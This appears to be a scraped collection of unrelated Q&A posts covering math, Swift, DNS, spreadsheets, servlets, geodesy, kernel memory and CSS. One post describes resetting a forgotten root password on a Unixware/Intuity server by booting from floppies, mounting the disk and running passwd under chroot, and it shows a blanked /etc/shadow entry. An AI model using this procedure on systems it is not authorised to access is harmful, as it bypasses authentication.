Let $A$ be a finite abelian group of order $N^r$ for some integers $N > 1, r \geq 1$. Suppose that for every divisor $D$ of $N$ we have $|A[D]| = D^r$, where $A[D]$ denotes the subgroup consisting of all elements of order dividing $D$. Then $A \cong (\Bbb Z / N \Bbb Z)^r$.

The proof is just to decompose $A$ uniquely as a product
$$\Bbb Z / d_1 \Bbb Z  \times \cdots \times \Bbb Z / d_s \Bbb Z,$$
where $d_i$ divides $d_{i+1}$ and $d_i > 1$ for all $1 \leq i < s$.
You can easily see that $d_s = N$, since $A = A[d_s]$ (since $d_i$ divides $d_{i+1}$) and $A = A[N]$ (both have cardinality $N^r$).
Then you can also see that $r=s$, and finally $d_i = n$ for all $i$. I let you think about this and fill in the details.
(See also Silverman AEC: exercise 3.30 for another proof).


text:
Q: Unixware 2.1.3 reset root password I have been working on this problem for several days and cannot find any other suggestions on-line.
I have an old Lucent server running a proprietary Unixware 2.1.3 that I want to access but do not know any of the passwords. By building a new install of 2.1.3 on a spare disk I have built my emergency boot diskettes and can boot and mount the old hard drive and edit the files. However, when I remove the hash from the /etc/shadow file:
root::10630::::::
daemon:NP:6445::::::
bin:NP:6445::::::  .....

The system still wants a password for root. Just Pressing Enter doesn't work.
I have also tried setting the /etc/passwd file to:
root::0:3:0000-Admin(0000):/:/usr/bin/ksh
daemon:x:1:12:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:

with the same result.
Experimenting on the new install drive I get the same results, however on the new install I can log in as root and run "passwd -d root" and the system behaves as expected and does not prompt me for a password at login.
If it has any relevance, I notice that the /etc directory contains shadow, oshadow (which appears to be a backup of shadow) and shadow.em that contains entries for root, bin and sys. Ditto with the passed file. I have tried editing these files too, but with no success.
Finally, I tried editing the home directory for root in the passed file on the new install but when I logged in it made no difference. Is it possible that the system is using an alternate to passwd, and if so how do I determine which file it is?
Thank you in advance.

A: From a tek-tips post: http://www.tek-tips.com/viewthread.cfm?qid=1204328
The boot floppys must match the Intuity software release.
To reset the root password do the following:
MACH 3 & 4
•    Bring Intuity up with the emergency boot floppy installed.
•    When prompted for keyboard type, type 1
•    Screen will then say "If you would like a host bus adapter loaded from a floppy, insert it now and type yes"
•    Insert the HBA floppy and type yes .
NOTE: You must type the word yes or no, not y or n
•    Screen will again ask for hba diskette- remove diskette and press
•    A # Prompt will then appear, type passwd root
•    Enter password but do not use the password that you will actually want to use.
•    Type exit and press cnt-alt-delete when prompted making sure there are no diskettes in drive.
•    After the Intuity is up, log in with new password and you will be immediately prompted to change password.
•    Put in password that you actually want.
*NOTE: An ACCX (AYC22) card in the system can cause the floppy to not be read. Remove it and proceed.
MACH 5
•    If the system is currently running, bring it down.
•    Insert boot floppy #1 into the floppy drive.
•    Boot the machine.
•    Insert boot floppy #2 into the floppy drive when requested and press
•    When the system displays the menu that asks if you want to "load the system, access the shell or reboot", select access the shell .
•    At the shell prompt type: SHBOOT
•    Navigate the menus that select the hardware (5P, 40P or 100P) and disk configuration (IDE or SCSI) for the machine you are recovering. This process loads the correct device drivers for access to the disk(s) on your machine.
•    Mount the root filesystem; type: mount   /dev/root   /mnt
•    Change the password; type: chroot  /mnt  /usr/bin/passwd  root
•    Enter the new password
You shouldn't need root though, stick with SA or VM


text:
Q: AlamoFire 5.0 force permanent caching I am using AlamoFire 5.0 and want to force permanent cache storage of data fetched from urls (.obj files, .png images etc.). Is there some way to ignore/intercept the HTTP headers sent by the server and just force permanent caching?
let destination: DownloadRequest.Destination = { _, _ in
            var documentsURL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0]
            return (documentsURL, [.removePreviousFile])
        }

let request = AF.download("http://someurl.com", to: destination)

request
    .response(completionHandler: { (response) in
         //handle response data
      })

A: You may want to consider Disk caching your response.
This answer might be of help:
Disk Cache Images


text:
Q: DNS point to server on ISP and keep shared host too? I know this is probably quite easy to do, but I might just have the right search sorted out... so here is the situation:
We have example.com set up as a hosted server along with app1.example.com, app2.example.com and a few others. What I would like to do is set up the right zone file to also make our internal server addressable from the outside world as internalapp.example.com.
This server sits behind a firewall (pfsense) and is hooked up to the world via a cable modem that is technically on DHCP from our ISP, but has had the same external IP for the past 15 months so far.
What would be the best way to set this up?

A: If you trust your ISP:
just add "A" record for example.com zone for internalapp.example.com. pointing to your external IP ([IP] A internalapp.example.com), and forward port (NAT, DMZ etc) 80/443 on your firewall to your internal server.
If you don't trust your ISP:

*

*(better way) make tunnel between pfsense and your hosted server and be sure that packets are transmitted with relevant IP's, without SNAT (this may lead to incorrect client address records in your logs, environment etc).

*(bad way) you need to update record dynamically, which is weird and even if your IP changes, clients will timeout according to DNS record timings set. example: DDNS http://en.wikipedia.org/wiki/Dynamic_DNS


text:
Q: How to count from an entire different google sheet for only one cell? I am counting the number of projects/rows from a different google sheet using a specific criterion. The total count will show in one cell only.
=COUNTIF(IMPORTRANGE("https://docs.google.com/spreadsheets/d/1eDIDiMfE5bIi-hEVtwJ7t2wD7A5zTRSt2mHhoQ_mUrQ/edit#gid=359656787","HIP Campaign!H:H"),"Regular Campaign(Jan7-Feb21)")
HIP Campaign is the sheet name from the different google sheet link. H:H range is where you can find value like Regular Campaign(Jan7-Feb21). I need to count the number of rows which has the value of Regular Campaign in range H:H.

A: first, you need to link sheets by allowing access. run anywhere this formula:
=IMPORTRANGE("1eDIDiMfE5bIi-hEVtwJ7t2wD7A5zTRSt2mHhoQ_mUrQ", "HIP Campaign!H1")

when linked you can use:
=COUNTIF(IFERROR(
 IMPORTRANGE("1eDIDiMfE5bIi-hEVtwJ7t2wD7A5zTRSt2mHhoQ_mUrQ", "HIP Campaign!H:H")),
 "Regular Campaign(Jan7-Feb21)")


text:
Q: Cefsharp + Chrome DevTools Protocol - How to use parameters I am trying to use Chrome DevTools Protocol in conjunction with Cefsharp.
I found a description of Chrome DevTools Protocol:https://chromedevtools.github.io/devtools-protocol/
For example, I wanted to try to intercept/receive data from the server that
the server sends when loading a page using CEFsharp over the WebSocket protocol.
I found a function in the description - Network.webSocketFrameReceived:
https://chromedevtools.github.io/devtools-protocol/tot/Network/#event-webSocketFrameReceived
If I understood correctly, I should use the Cefsharp function:https://cefsharp.github.io/api/94.4.x/html/M_CefSharp_IBrowserHost_SendDevToolsMessage.htm

bool SendDevToolsMessage(string messageAsJson);

But I can't figure out how to compose the "messageAsJson" message itself for the -Network.webSocketFrameReceived function.
The description says that the Network.webSocketFrameReceived function has three parameters:

*

*requested (Request identifier)

*Monotonic Time(Timestamp)

*WebSocket Frame(WebSocket response data)

I don't understand how to use these three parameters.
Can someone please help with this?
How to compose a json message that would be a correct call to this function?


text:
Q: Mulptiple dynamic values in url mapping in servlet I'm trying to create servlet URL mapping for the dynamic paths. In servlet, we can do dynamic URL mapping with one varying path at the end. I mean, if we wanted to do user/{id} we can do this thing with @WebServlet("/users/*") and then do some string operation to get the id.
What if we want to make this more dynamic, like this /user/{id}/posts/{id}/comments? I've searched for this thing and ended up using Filters  to intercept those requests and manually do some operations on the path string to identify the different path keys and values. Is this the only way available, or is there anything else to handle?

A: Servlet API doesn't support URL pattern wildcard * in middle of the mapping. It only allows the wildcard * at the end of the mapping like so /users/* or in the start of the mapping like so *.suffix.
In servlet specification, we have no notion of path variables.
For a servlet point of view, an URL is :
scheme://host.domain/context_path/servlet_path/path_info?parameters
where any of the parts (starting from context path may be null)
So, given an <url-pattern>/user/*</url-pattern>, you can extract the path information, null checks and array index out of bounds checks omitted:
String pathInfo = request.getPathInfo(); // /{value}/test
String[] pathParts = pathInfo.split("/");
String part1 = pathParts[1]; // {value}
String part2 = pathParts[2]; // test
// ...


text:
Q: Projection of a GPS point on a segment representing a trajectory Consider the A-B segment in the picture below; each extremity is a GPS point defined by latitude & longitude (the segment is actually an arc, as it lies on the earth surface).
Point C is not part of the segment. I would like to compute latitude and longitude for point P, i.e. the projection of point C on the A-B segment.
Is there a way to do that without moving to a local cartesian system (e.g. Lat/Long/Alt -> North/East/Down) and back? I would like to avoid it as the points are actually part of long routes spanning many kilometers, and a local cartesian system would not cover the full extent.

A: It is possible to find P point using combination of formulas from latlong page.
At first find δ12 and δ13  - angular distances from start point to end and third point (Distance section)
Then bearings θ13 and θ12 from start point to the third point and end point (Bearing section)
Get cross-track angular distance
 δxt = asin( sin(δ13) ⋅ sin(θ13−θ12) )

Use it to get along-track angular distance
  δat = acos( cos(δ13) / cos(δxt) )

and calculate intermediate point P
a = sin(δ12 - δat) / sin δ12
b = sin(δat) / sin δ12
x = a ⋅ cos φ1 ⋅ cos λ1 + b ⋅ cos φ2 ⋅ cos λ2
y = a ⋅ cos φ1 ⋅ sin λ1 + b ⋅ cos φ2 ⋅ sin λ2
z = a ⋅ sin φ1 + b ⋅ sin φ2

φi = atan2(z, √x² + y²)
λi = atan2(y, x)


text:
Q: ICSharpCode.TextEditor - Change Syntax Colors I'm using the ICSharpCode.TextEditor and want to change the syntax colors...
in the namespace
ICSharpCode.TextEditor.Document

there is the
public class HighlightColor

but I don't know how to give new colors to the editor. Somebody there, who knows how to do this or where I can find a documentation for that editor control?
Thank you.

A: The syntax highlighting in ICSharpCode.TextEditor is determined by the syntax highlighting definition (.xshd file) used for the highlighting.
See http://wiki.sharpdevelop.net/Syntax highlighting.ashx for a description of the file format and how to load it into the text editor.
If you download the SharpDevelop source code, you can find the existing highlighting definitions in SharpDevelop\src\Libraries\ICSharpCode.TextEditor\Project\Resources.


text:
Q: WebRTC for iOS drops frames I've compiled a WebRTC.framework recently on macOS Sierra for iOS from
here. Replaced old framework with new one in existing xcode project an video become Very Very slow with following error:
(RTCLogging.mm:31):
(RTCCameraVideoCapturer.m:207 -
[RTCCameraVideoCapturer captureOutput:didDropSampleBuffer:fromConnection:]): Dropped sample buffer.
(frame_buffer2.cc:208): A frame about to be decoded is out of the configured delay bounds (16067 > 10000). Resetting the video jitter buffer.
Any Ideas what can cause the issue?
Thanks.


text:
Q: Doctrine Mapping Exception on existing class I'm working with Symfony 2.4, Sonata Admin and Fos User Bundle. When trying to access the login form screen, I get this error:
MappingException: Class 'Telefonica\SIGREH\CoreBundle\Entity\Usuario' does not exist

But, when executing php app/console doctrine:mapping:info, I get this output:
Found 14 mapped entities:
[OK]   FOS\UserBundle\Entity\Group
[OK]   FOS\UserBundle\Entity\User
[OK]   Sonata\UserBundle\Entity\BaseGroup
[OK]   Sonata\UserBundle\Entity\BaseUser
[OK]   Telefonica\SIGREH\CoreBundle\Entity\Cargo
[OK]   Telefonica\SIGREH\CoreBundle\Entity\Departamento
[OK]   Telefonica\SIGREH\CoreBundle\Entity\Horario
[OK]   Telefonica\SIGREH\CoreBundle\Entity\Motivo
[OK]   Telefonica\SIGREH\CoreBundle\Entity\NivelAcademico
[OK]   Telefonica\SIGREH\CoreBundle\Entity\Oficina
[OK]   Telefonica\SIGREH\CoreBundle\Entity\Region
[OK]   Telefonica\SIGREH\CoreBundle\Entity\Requisicion
[OK]   Telefonica\SIGREH\CoreBundle\Entity\Telefono
[OK]   Telefonica\SIGREH\CoreBundle\Entity\Usuario

My entity´s namespace is correct, I've checked it out many times.
In my config.yml I have these lines:
sonata_admin:
    security:
        handler: sonata.admin.security.handler.noop

sonata_user:
    manager_type: orm

fos_user:
    db_driver: orm
    firewall_name: admin
    user_class: Telefonica\SIGREH\CoreBundle\Entity\Usuario
    service:
        user_manager: sonata.user.orm.user_manager

In my AppKernel.php, I've added;
new FOS\UserBundle\FOSUserBundle(),

new Sonata\CoreBundle\SonataCoreBundle(),
new Sonata\UserBundle\SonataUserBundle(),
new Sonata\BlockBundle\SonataBlockBundle(),
new Sonata\jQueryBundle\SonatajQueryBundle(),
new Knp\Bundle\MenuBundle\KnpMenuBundle(),

new Sonata\DoctrineORMAdminBundle\SonataDoctrineORMAdminBundle(),

// Then add SonataAdminBundle
new Sonata\AdminBundle\SonataAdminBundle(),

new Telefonica\SIGREH\CoreBundle\TelefonicaSIGREHCoreBundle(),

The Usuario entity looks like this:
<?php

namespace Telefonica\SIGREH\CoreBundle\Entity;

use Doctrine\ORM\Mapping as ORM;
use FOS\UserBundle\Entity\User as BaseUser;
use Symfony\Component\Validator\Constraints as Assert;

/**
 * @ORM\Entity
 * @ORM\Table(name="usuario")
 */
class Usuario extends BaseUser
{
    /**
    * @ORM\Id
    * @ORM\Column(type="integer")
    * @ORM\GeneratedValue(strategy="AUTO")
    */
    protected $id;

    /**
     * @var string
     *
     * @ORM\Column(name="nombre", type="string", length=50, nullable=true)
     *
     * @Assert\Length(max=50)
     * @Assert\NotBlank
     */
     protected $nombre;

    /**
     * @var string
     *
     * @ORM\Column(name="apellido", type="string", length=50, nullable=true)
     * @Assert\Length(max=50)
     *
     */
     protected $apellido;

    public function __construct() {
        parent::__construct();
    }
 }

Question is what am I doing wrong?


text:
Q: Can a userspace process kfree() memory with GFP_USER? I have a kernel module that handles IOCTL calls from userspace. One of the calls needs to return a variable length buffer from the kernel into userspace. From the module, I can kmalloc( ..., GFP_USER) a buffer for the userspace process to use. But, my question is, can this buffer be free'd from userspace or does it need to be free'd from kernel space?
Alternatively, is there a better way to handle data transfer with variable length data?

A: No, user space can't free kernel memory. Your module would have to offer another call / ioctl to let user space tell your kernel code to free the memory. You would also have to track your allocations to make sure to free them when the user space process exits so as not to leak memory… Also kernel memory is not swappable, if user space makes you allocate memory again and again it could run the kernel out of memory so you have to guard against that, too.
The easier method is to just let user space offer the buffer from its own memory. Include a maximum length argument in the call so that you won't write more than user space expects and return partial data or an error if the size is too small, as appropriate.

A: GFP_USER - means that its a kernel space memory that you can allow the user to access (used as a marker for shared kernel/user pages). note, process can sleep/block and run only in process context.
However, memory which gets allocated in the kernel space gets always get freed in the kernel space, and vis-a-vis for user space.


text:
Q: Looking for a differentiable function which behaves somewhat like $\min(x,1)$ Is there a differentiable function $f : [0,2] \rightarrow [0,1]$ such that $f(x) = 0$ iff $x=0$ and $f(x) = 1$ iff $x \in [1,2]$? What about $n$ times differentiable for any $n$, or infinitely differentiable? Thank you!

A: First, let
$$f(x)=\begin{cases}e^{\frac{-1}{x}}&x>0\\0&x\le0\end{cases}$$
It can be shown that $f$ is smooth.  Then one such desired function is
$$g(x)=\frac{f(x)}{f(x)+f(1-x)}$$
Since $f$ is smooth, and $f(x)+f(1-x)$ is never $0$, $g$ is also smooth.  $g$ takes values $0$ for $x<0$, and values $1$ for $x>1$.  It's called a smooth transition function.

A: How about
$$f_n(x) = \left\{
\begin{array}{ll}
  1-(-1)^n(x-1)^n & 0\leq x \leq 1 \\
  1 & 1\leq x\leq 2.
\end{array} \right.
$$
This will be $n-1$-times differentiable for any integer $n\geq 2$.
The graphs of these functions for $n=1$ through $10$ look like so:

As Jared has already shown, we can make the function infinitely differentiable at $x=1$. A minor variation of his example is
$$f(x) = \left\{
\begin{array}{ll}
  1 - e^{1 - 1/(1 - x)} & 0\leq x \leq 1 \\
  1 & 1\leq x\leq 2,
\end{array} \right.
$$
which looks like so:

A: This just addresses the "does there exist such a function" with only one differentiation.
We want $f'(x) = 0$ for $x \in [1, 2]$ so that the function is constantly $1$.  We could define such a function piecewise:
$$f(x) = \begin{cases}
\sin^2\frac{\pi x}{2} & 0\le x \lt 1 \\
1 & 1 \le x \le 2
\end{cases}$$


text:
Q: vertically centering a div in a div I want to vertically center a div in a div.My outer div is fullscreen it covers the whole screen.And my inner div is in position:relative .
My codes structure is :

...........

My css codes are
.fullscreen-centered{
   position: relative;
   top: 50%;
   transform:translateY(-50%);
 }

It works fine . But Im also using skrollr.js to add some parallax effect to inner div . That's why when i use data-top=transform:0px in order to use a effect , this is replaced by above transform so it loses its centered position.
Another Hack can be display:table-cell but it does not working.
Is there another way rather than using transform?

A: Use display: table(-cell) and vertical-align without position: relative; and transforms.

...........

http://jsfiddle.net/c6aw776c/

A: Since the parallax effect is created using 3D transforms, translating an element along the Z axis has a side effect - its effective size changes as we move it closer to or farther away from the viewport. To counter this we need to apply a scale() transform to the element so that it appears to be rendered at its original size:
transform: translateZ(-1px) scale(2);

It Might help you..!!